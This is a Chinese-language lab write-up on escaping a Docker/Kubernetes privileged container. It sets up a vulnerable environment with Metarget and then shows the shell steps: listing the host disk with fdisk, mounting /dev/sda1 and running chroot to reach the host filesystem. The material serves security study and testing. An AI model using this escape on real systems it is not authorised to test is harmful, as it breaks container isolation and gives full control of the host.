【场景类型】
    容器逃逸-危险配置
    【背景介绍】
    最初,容器特权模式的出现是为了帮助开发者实现Docker-in-Docker特性。然而,在特权模式下运行不完全受控容器将给宿主机带来极大安全威胁。
    官方文档对特权模式的描述如下:
    当操作者执行<font style="color:rgba(0, 0, 0, 0.9);">docker run --privileged</font>时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限 【漏洞环境】
    • 任意版本的docker或者k8s
    1. ./metarget gadget install docker --version 18.03.1
    2. ./metarget gadget install k8s --version 1.16.5 --domestic
    • 启动特权容器
    1. root@zyliang:~/metarget# ./metarget cnv install privileged-container
    2. docker already installed
    3. kubernetes already installed
    4. privileged-container is going to be installed
    5. applying yamls/k8s_metarget_namespace.yaml
    6. applying vulns_cn/configs/pods/privileged-container.yaml
    7. privileged-container successfully installed
    8. root@zyliang:~/metarget# kubectl get pod -n metarget
    9. NAME READY STATUS RESTARTS AGE
    10. dvwa-web-86b6ccdc69-5cvld 1/1 Running 6 9d
    11. privileged-container 1/1 Running 0 7m7s
    【漏洞复现】 特权模式下容器能看到宿主机硬盘设备,可以通过挂载宿主机硬盘的方式实现文件系统层面的逃逸,示例如下:
    1. root@zyliang:~/metarget# kubectl exec -it -n metarget privileged-container /bin/bash
    2. root@privileged-container:/# cat /etc/hostname
    3. privileged-container
    4. root@privileged-container:/# fdisk -l | grep /dev/sda1
    5. /dev/sda1 * 2048 125827071 125825024 60G 83 Linux
    6. root@privileged-container:/# mkdir host
    7. root@privileged-container:/# mount /dev/sda1 /host
    8. root@privileged-container:/# chroot /host
    9. # cat /etc/hostname
    10. zyliang
    【参考链接】
    1. https://github.com/Metarget/metarget/tree/master/writeups_cnv/config-privileged-